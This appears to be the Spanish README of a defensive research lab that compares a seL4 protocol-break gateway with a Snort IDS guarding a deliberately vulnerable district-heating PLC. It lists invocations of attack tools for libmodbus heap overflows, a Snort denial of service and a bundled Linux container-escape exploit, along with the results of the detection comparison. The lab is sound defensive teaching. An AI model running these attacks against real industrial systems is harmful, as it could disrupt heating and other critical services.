
Demostración de seguridad defensiva: puerta de enlace del micronúcleo seL4 protegiendo ICS vulnerables de CVE-2019-14462
Un proyecto de investigación de seguridad defensiva que compara las arquitecturas de ruptura de protocolo vs reenvío de paquetes para proteger sistemas de control industrial de ciberataques.
Documentación:
- Arquitectura de red - Diagramas de red y flujo de tráfico
- Arquitectura de contenedores - Relaciones entre contenedores Docker
- Explicaciones de CVE - Detalles de vulnerabilidad y mecanismos de ataque
Los sistemas ICS/SCADA modernos enfrentan ataques sofisticados como FrostyGoop, que atacó sistemas de calefacción urbana ucranianos a través de Modbus TCP en enero de 2024, dejando a más de 600 hogares sin calefacción durante temperaturas bajo cero. Las soluciones de seguridad tradicionales (firewalls, IDS) utilizan arquitecturas de reenvío de paquetes que inspeccionan el tráfico en línea pero mantienen una única conexión TCP de extremo a extremo.
Este proyecto demuestra una alternativa: un gateway de ruptura de protocolo que utiliza el microkernel seL4 formalmente verificado. Al terminar las conexiones TCP y validar la semántica del protocolo antes de establecer nuevas conexiones a los dispositivos protegidos, esta arquitectura proporciona garantías de seguridad más sólidas.
┌─────────────────────────────────────────────────────────────────────────────┐
│ Docker Network: ics-untrusted (192.168.96.0/24) │
│ │
│ ┌───────────────────────┐ ┌───────────────────────┐ │
│ │ seL4 Gateway │ │ Snort IDS │ │
│ │ Port 502 │ │ Port 503 │ │
│ │ │ │ │ │
│ │ • Protocol-break │ │ • Packet-forwarding │ │
│ │ • TCP termination │ │ • Inline inspection │ │
│ │ • Length validation │ │ • Rule-based detection│ │
│ └───────────┬───────────┘ └───────────┬───────────┘ │
│ │ │ │
├───────────────┼───────────────────────────────┼─────────────────────────────┤
│ Docker Network: ics-protected (192.168.95.0/24) │
│ │ │ │
│ └───────────────┬───────────────┘ │
│ ▼ │
│ ┌───────────────────────────────┐ │
│ │ PLC (District Heating) │ │
│ │ Vulnerable libmodbus 3.1.2 │ │
│ │ Port 5020 (direct access) │ │
│ └───────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────────────────┘
# Place your seL4 kernel image at:
gateway/sel4-image/capdl-loader-image-arm-qemu-arm-virt
# Build all containers
sudo docker compose build
# Start individual containers
sudo docker compose up plc # PLC only
sudo docker compose up gateway # seL4 gateway + PLC
sudo docker compose up snort # Snort IDS + PLC
# Start all
sudo docker compose up
# Through seL4 gateway (protected - protocol-break)
echo -ne '\x00\x01\x00\x00\x00\x06\x01\x03\x00\x00\x00\x01' | nc localhost 502 | xxd
# Through Snort IDS (protected - packet-forwarding)
echo -ne '\x00\x01\x00\x00\x00\x06\x01\x03\x00\x00\x00\x01' | nc localhost 503 | xxd
# Direct to PLC (unprotected - vulnerable)
echo -ne '\x00\x01\x00\x00\x00\x06\x01\x03\x00\x00\x00\x01' | nc localhost 5020 | xxd
Nota: El PLC por defecto ahora se ejecuta en modo CVE-2022-0367 con ASAN. Use
--profile cve14462para pruebas de CVE-2019-14462.
El PLC usa libmodbus 3.1.2 intencionalmente vulnerable. El ataque explota campos de longitud MBAP confiados:
# Start PLC in CVE-2019-14462 mode
sudo docker compose --profile cve14462 up plc-14462
# Build attack tools
cd cve_tools && make
# Attack unprotected PLC (crashes)
./cve_14462_attack 127.0.0.1 5022
# Attack through seL4 (BLOCKED)
./cve_14462_attack 127.0.0.1 502
# Attack through Snort (DETECTED by Quickdraw rules)
./cve_14462_attack 127.0.0.1 503
Un error de verificación de límites en modbus_mapping_new_start_address() permite un subdesbordamiento de heap a través del código de función 0x17 (Escribir y Leer Registros):
# Default PLC runs in CVE-2022-0367 mode with ASAN
sudo docker compose up plc
# Build attack tools
cd cve_tools && make
# Attack PLC - ASAN will detect heap-buffer-overflow
./cve_0367_attack 127.0.0.1 5020
# Attack with custom parameters
./cve_0367_attack 127.0.0.1 5020 88 0x4141 # Corrupt tab_registers pointer
./cve_0367_attack 127.0.0.1 5020 72 0xFFFF # Corrupt nb_registers
# Attack through seL4 (BLOCKED - address validation)
./cve_0367_attack 127.0.0.1 502
# Attack through Snort (DETECTED by custom rules)
./cve_0367_attack 127.0.0.1 503
Detalles técnicos:
start_registers=100, las direcciones válidas son 100-109write_address < 100, causando un índice de array negativomb_mapping, incluidos punterosSnort 2.9.18 tiene un desbordamiento de enteros en su preprocesador Modbus que provoca un bucle infinito, bloqueando completamente todo el tráfico a través del IDS:
# 1. Verify Snort is working (should return Modbus response)
echo -ne '\x00\x01\x00\x00\x00\x06\x01\x03\x00\x00\x00\x01' | nc -w 2 localhost 503 | xxd
# 2. Attack the Snort IDS
./cve_20685_attack 127.0.0.1 503
# 3. Verify Snort is frozen (should timeout with NO response)
echo -ne '\x00\x01\x00\x00\x00\x06\x01\x03\x00\x00\x00\x01' | nc -w 5 localhost 503 | xxd
# 4. Check Snort CPU (should be 100%)
sudo docker exec ics-snort top -b -n 1 | grep snort
# 5. seL4 is IMMUNE (no Modbus preprocessor to exploit)
./cve_20685_attack 127.0.0.1 502 # No effect on seL4
# 6. Restart Snort after demo
sudo docker compose restart snort
Por qué esto es devastador: Snort usa el modo en línea NFQUEUE, lo que significa que los paquetes se retienen en la cola del kernel hasta que Snort devuelve un veredicto. Cuando Snort se cuelga, no se devuelven veredictos y TODO el tráfico se detiene — no solo ceguera del IDS, sino denegación completa del servicio.
Un use-after-free en el netfilter nf_tables de Linux (kernels v5.14-v6.6) permite el escape de contenedor:
# Check if host is vulnerable
uname -r # Vulnerable: v5.14 - v6.6 (before patches)
# The exploit is available at:
ls cve_tools/cve-2024-1086/
Por qué esto importa: Los contenedores Docker comparten el kernel del host. Si un atacante compromete Snort (por ejemplo, a través de CVE-2022-20685), podría usar CVE-2024-1086 para escapar del contenedor y obtener acceso root en el host. seL4 es inmune porque ejecuta un microkernel mínimo, no Linux.
# Full demo with 4 quadrants (PLC, seL4, Snort, User terminal)
./scripts/demo.sh
# Snort-only demo with 3 panes (PLC, Snort, User terminal)
./scripts/demo-snort.sh
# Run automated comparison
./scripts/run_comparison.sh
Múltiples configuraciones de Snort están disponibles para evaluar la eficiencia de detección:
# Run Snort with specific profile
sudo docker compose --profile snort-talos up
# Compare detection efficiency
sudo docker compose --profile snort-quickdraw up -d
./cve_tools/cve_0367_attack 127.0.0.1 503 # Test detection
sudo docker compose --profile snort-quickdraw down
sudo docker compose --profile snort-combined up -d
./cve_tools/cve_0367_attack 127.0.0.1 503 # Test detection
sudo docker compose --profile snort-combined down
Client ────TCP────► Snort ────TCP────► PLC
(same connection flows through)
Client ────TCP1────► seL4 ────TCP2────► PLC
(terminates, validates, new connection)
El PLC simula un controlador de calefacción urbana con soporte multi-maestro (arquitectura hilo-por-cliente, típica de PLCs modernos).
| Modo | Servicio | Puerto | Descripción |
|---|---|---|---|
| CVE-2022-0367 | plc (default) |
# Default mode (CVE-2022-0367 with ASAN)
sudo docker compose up plc
# CVE-2019-14462 mode
sudo docker compose --profile cve14462 up plc-14462
En modo CVE-2022-0367, los registros están en las direcciones 100-109 (use dirección 40101 en herramientas SCADA):
Este proyecto contiene código intencionalmente vulnerable para fines de investigación de seguridad defensiva. La vulnerable libmodbus 3.1.2 y Snort 2.9.18 se incluyen para demostrar conceptos de seguridad.
No implemente componentes sin protección en entornos de producción.
Solo para fines autorizados de investigación de seguridad defensiva y educativos.
| Aspecto | Ruptura de protocolo (seL4) | Reenvío de paquetes (Snort) |
|---|
| CVE-2019-14462 | BLOQUEADO (validación de longitud) | DETECTADO (reglas Quickdraw) |
| CVE-2022-0367 | BLOQUEADO (validación de dirección) | DETECTADO (reglas personalizadas) |
| CVE-2022-20685 | INMUNE (sin preprocesador) | VULNERABLE (DoS del IDS) |
| CVE-2024-1086 | INMUNE (sin kernel Linux) | VULNERABLE (comparte kernel del host) |
| Variantes desconocidas | BLOQUEADO (validación estructural) | NO DETECTADO (sin firma) |
| Ataques al estado TCP | BLOQUEADO (conexión terminada) | Posible |
| Superficie de ataque | ~1,000 LdC (microkernel) | ~500,000 LdC (Linux + Snort) |
| Puerto | Ruta | Arquitectura | Protección |
|---|
| 502 | Cliente → seL4 → PLC | Ruptura de protocolo | Valida estructura Modbus |
| 503 | Cliente → Snort → PLC | Reenvío de paquetes | IDS basado en reglas |
| 5020 | Cliente → PLC (ASAN) | Directo | Modo CVE-2022-0367 |
| 5022 | Cliente → PLC | Directo | Modo CVE-2019-14462 (perfil: cve14462) |
| Perfil | Comando | Reglas | Descripción |
|---|
| default | docker compose up snort | 12 | Quickdraw (estándar de la industria) |
| quickdraw | --profile snort-quickdraw | 12 | Solo Digital Bond Quickdraw |
| talos | --profile snort-talos | 40 | Estilo Talos con palabras clave modbus_func |
| modbus | --profile snort-modbus | 13 | Solo reglas de detección de CVE personalizadas |
| combined | --profile snort-combined | 65 | Todas las reglas combinadas |
| CVE | Quickdraw | Talos | Custom Modbus |
|---|
| CVE-2019-14462 (longitud MBAP) | ✅ | ✅ | ✅ |
| CVE-2022-0367 (subdesbordamiento de heap) | ❌ | ✅ | ✅ |
| CVE-2022-20685 (DoS de Snort) | ❌ | ✅ | ✅ |
| Operaciones de escritura | ❌ | ✅ | ✅ |
| Reconocimiento | ✅ | ✅ | ✅ |
| Códigos de función DoS | ✅ | ✅ | ❌ |
| Directorio | Descripción |
|---|
gateway/ | Contenedor del gateway seL4 (QEMU + kernel seL4) |
snort/ | IDS Snort 2.9.18 con múltiples perfiles de reglas (vulnerable a CVE-2022-20685) |
plc/ | Simulación de calefacción urbana (libmodbus 3.1.2 vulnerable, modo CVE-2022-0367) |
cve_tools/ | Herramientas de ataque para demostraciones de CVE |
scripts/ | Scripts de utilidad y experimentos |
docs/ | Documentación con diagramas Mermaid (Red, Contenedores, CVEs) |
| Herramienta | Objetivo | Descripción |
|---|
cve_14462_attack | libmodbus | Desbordamiento de búfer de heap mediante discrepancia de longitud MBAP |
cve_0367_attack | libmodbus | Subdesbordamiento de heap mediante dirección de escritura no válida (FC 0x17) |
cve_20685_attack | Snort | Bucle infinito del preprocesador Modbus (DoS) |
cve-2024-1086/ | kernel Linux | Escalada de privilegios mediante nf_tables (escape de contenedor) |
| 5020 |
| Compilación ASAN, registros en dirección 100-109 |
| CVE-2019-14462 | plc-14462 | 5022 | Compilación normal, registros en dirección 0-9 |
| Dirección | Registro | Descripción | L/E |
|---|
| 100 | HR[0] | Temperatura interior (°C ÷10) | L |
| 101 | HR[1] | Comando de válvula (0-100%) | L/E |
| 102 | HR[2] | Punto de ajuste de temperatura (°C ÷10) | L/E |
| 103 | HR[3] | Modo (0=Manual, 1=Auto) | L/E |
| 104 | HR[4] | Temperatura exterior (°C ÷10) | L |
| 105-109 | HR[5-9] | Estado, posición, temperatura de suministro, tiempo de ejecución, potencia | L |